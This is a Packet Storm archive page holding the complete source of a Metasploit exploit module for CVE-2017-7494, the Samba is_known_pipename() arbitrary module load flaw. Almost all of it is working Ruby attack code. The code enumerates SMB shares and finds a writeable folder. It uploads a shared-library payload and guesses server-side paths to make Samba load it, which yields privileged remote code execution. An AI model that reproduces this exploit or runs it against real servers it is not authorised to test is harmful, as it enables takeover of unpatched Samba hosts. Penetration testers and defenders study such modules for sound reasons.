Lucene search

K
packetstormH D MoorePACKETSTORM:142715
HistoryMay 27, 2017 - 12:00 a.m.

Samba is_known_pipename() Arbitrary Module Load

2017-05-2700:00:00
H D Moore
packetstormsecurity.com
377

0.973 High

EPSS

Percentile

99.8%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB::Client  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',  
'Description' => %q{  
This module triggers an arbitrary shared library load vulnerability  
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module  
requires valid credentials, a writeable folder in an accessible share,  
and knowledge of the server-side path of the writeable folder. In  
some cases, anonymous access combined with common filesystem locations  
can be used to automatically exploit this vulnerability.  
},  
'Author' =>  
[  
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery  
'hdm', # Metasploit Module  
'Brendan Coles <bcoles[at]gmail.com>', # Check logic  
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2017-7494' ],  
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],  
],  
'Payload' =>  
{  
'Space' => 9000,  
'DisableNops' => true  
},  
'Platform' => 'linux',  
#  
# Targets are currently limited by platforms with ELF-SO payload wrappers  
#  
'Targets' =>  
[  
  
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],  
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],  
#  
# Not ready yet  
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],  
# [ 'Linux MIPS', { 'Arch' => MIPS } ],  
],  
'Privileged' => true,  
'DisclosureDate' => 'Mar 24 2017',  
'DefaultTarget' => 1))  
  
register_options(  
[  
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),  
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),  
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),  
])  
  
register_advanced_options(  
[  
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),  
])  
end  
  
  
def generate_common_locations  
candidates = []  
if datastore['SMB_SHARE_BASE'].to_s.length > 0  
candidates << datastore['SMB_SHARE_BASE']  
end  
  
%W{ /volume1 /volume2 /volume3 /volume4  
/shared /mnt /mnt/usb /media /mnt/media  
/var/samba /tmp /home /home/shared  
}.each do |base_name|  
candidates << base_name  
candidates << [base_name, @share]  
candidates << [base_name, @share.downcase]  
candidates << [base_name, @share.upcase]  
candidates << [base_name, @share.capitalize]  
candidates << [base_name, @share.gsub(" ", "_")]  
end  
  
candidates.uniq  
end  
  
def enumerate_directories(share)  
begin  
self.simple.connect("\\\\#{rhost}\\#{share}")  
stuff = self.simple.client.find_first("\\*")  
directories = [""]  
stuff.each_pair do |entry,entry_attr|  
next if %W{. ..}.include?(entry)  
next unless entry_attr['type'] == 'D'  
directories << entry  
end  
  
return directories  
  
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e  
vprint_error("Enum #{share}: #{e}")  
return nil  
  
ensure  
if self.simple.shares["\\\\#{rhost}\\#{share}"]  
self.simple.disconnect("\\\\#{rhost}\\#{share}")  
end  
end  
end  
  
def verify_writeable_directory(share, directory="")  
begin  
self.simple.connect("\\\\#{rhost}\\#{share}")  
  
random_filename = Rex::Text.rand_text_alpha(5)+".txt"  
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"  
  
wfd = simple.open(filename, 'rwct')  
wfd << Rex::Text.rand_text_alpha(8)  
wfd.close  
  
simple.delete(filename)  
return true  
  
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e  
vprint_error("Write #{share}#{filename}: #{e}")  
return false  
  
ensure  
if self.simple.shares["\\\\#{rhost}\\#{share}"]  
self.simple.disconnect("\\\\#{rhost}\\#{share}")  
end  
end  
end  
  
def share_type(val)  
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]  
end  
  
def enumerate_shares_lanman  
shares = []  
begin  
res = self.simple.client.trans(  
"\\PIPE\\LANMAN",  
(  
[0x00].pack('v') +  
"WrLeh\x00" +  
"B13BWz\x00" +  
[0x01, 65406].pack("vv")  
))  
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e  
vprint_error("Could not enumerate shares via LANMAN")  
return []  
end  
if res.nil?  
vprint_error("Could not enumerate shares via LANMAN")  
return []  
end  
  
lerror, lconv, lentries, lcount = res['Payload'].to_s[  
res['Payload'].v['ParamOffset'],  
res['Payload'].v['ParamCount']  
].unpack("v4")  
  
data = res['Payload'].to_s[  
res['Payload'].v['DataOffset'],  
res['Payload'].v['DataCount']  
]  
  
0.upto(lentries - 1) do |i|  
sname,tmp = data[(i * 20) + 0, 14].split("\x00")  
stype = data[(i * 20) + 14, 2].unpack('v')[0]  
scoff = data[(i * 20) + 16, 2].unpack('v')[0]  
scoff -= lconv if lconv != 0  
scomm,tmp = data[scoff, data.length - scoff].split("\x00")  
shares << [ sname, share_type(stype), scomm]  
end  
  
shares  
end  
  
def probe_module_path(path, simple_client=self.simple)  
begin  
simple_client.create_pipe(path)  
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e  
vprint_error("Probe: #{path}: #{e}")  
end  
end  
  
def find_writeable_path(share)  
subdirs = enumerate_directories(share)  
return unless subdirs  
  
if datastore['SMB_FOLDER'].to_s.length > 0  
subdirs.unshift(datastore['SMB_FOLDER'])  
end  
  
subdirs.each do |subdir|  
next unless verify_writeable_directory(share, subdir)  
return subdir  
end  
  
nil  
end  
  
def find_writeable_share_path  
@path = nil  
share_info = enumerate_shares_lanman  
if datastore['SMB_SHARE_NAME'].to_s.length > 0  
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']  
end  
  
share_info.each do |share|  
next if share.first.upcase == 'IPC$'  
found = find_writeable_path(share.first)  
next unless found  
@share = share.first  
@path = found  
break  
end  
end  
  
def find_writeable  
find_writeable_share_path  
unless @share && @path  
print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")  
fail_with(Failure::NoTarget, "No matching target")  
end  
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")  
end  
  
def upload_payload  
begin  
self.simple.connect("\\\\#{rhost}\\#{@share}")  
  
random_filename = Rex::Text.rand_text_alpha(8)+".so"  
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"  
wfd = simple.open(filename, 'rwct')  
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,  
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}  
)  
wfd.close  
  
@payload_name = random_filename  
return true  
  
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e  
print_error("Write #{@share}#{filename}: #{e}")  
return false  
  
ensure  
if self.simple.shares["\\\\#{rhost}\\#{@share}"]  
self.simple.disconnect("\\\\#{rhost}\\#{@share}")  
end  
end  
end  
  
def find_payload  
  
# Reconnect to IPC$  
simple.connect("\\\\#{rhost}\\IPC$")  
  
# Look for common paths first, since they can be a lot quicker than hunting PIDs  
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")  
generate_common_locations.each do |location|  
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')  
print_status("Trying location #{target}...")  
probe_module_path(target)  
end  
  
# Exit early if we already have a session  
return if session_created?  
  
return unless datastore['BruteforcePID']  
  
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d  
# to non-root, but their /proc/pid directories are still owned by root. Trying to  
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a  
# good chance that this still works on some embedded systems and odd-ball Linux.  
  
# Use the PID hunting strategy devised by Tavis Ormandy  
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")  
  
# Configure the main connection to have a working directory of the file share  
simple.connect("\\\\#{rhost}\\#{@share}")  
  
# Use a second connection to brute force the PID of the first connection  
probe_conn = connect(false)  
smb_login(probe_conn)  
probe_conn.connect("\\\\#{rhost}\\#{@share}")  
probe_conn.connect("\\\\#{rhost}\\IPC$")  
  
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD  
2.upto(32768) do |pid|  
  
# Look for the PID associated with our main SMB connection  
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')  
vprint_status("Trying PID with target path #{target}...")  
probe_module_path(target, probe_conn)  
  
# Keep our main connection alive  
if pid % 1000 == 0  
self.simple.client.find_first("\\*")  
end  
end  
  
end  
  
def check  
res = smb_fingerprint  
  
unless res['native_lm'] =~ /Samba ([\d\.]+)/  
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")  
return CheckCode::Safe  
end  
  
samba_version = Gem::Version.new($1.gsub(/\.$/, ''))  
  
vprint_status("Samba version identified as #{samba_version.to_s}")  
  
if samba_version < Gem::Version.new('3.5.0')  
return CheckCode::Safe  
end  
  
# Patched in 4.4.14  
if samba_version < Gem::Version.new('4.5.0') &&  
samba_version >= Gem::Version.new('4.4.14')  
return CheckCode::Safe  
end  
  
# Patched in 4.5.10  
if samba_version > Gem::Version.new('4.5.0') &&  
samba_version < Gem::Version.new('4.6.0') &&  
samba_version >= Gem::Version.new('4.5.10')  
return CheckCode::Safe  
end  
  
# Patched in 4.6.4  
if samba_version >= Gem::Version.new('4.6.4')  
return CheckCode::Safe  
end  
  
connect  
smb_login  
find_writeable_share_path  
disconnect  
  
if @share.to_s.length == 0  
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")  
return CheckCode::Detected  
end  
  
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")  
return CheckCode::Appears  
end  
  
def exploit  
# Setup SMB  
connect  
smb_login  
  
# Find a writeable share  
find_writeable  
  
# Upload the shared library payload  
upload_payload  
  
# Find and execute the payload from the share  
begin  
find_payload  
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply  
end  
  
# Cleanup the payload  
begin  
simple.connect("\\\\#{rhost}\\#{@share}")  
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"  
simple.delete(uploaded_path)  
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply  
end  
  
# Shutdown  
disconnect  
end  
  
end  
`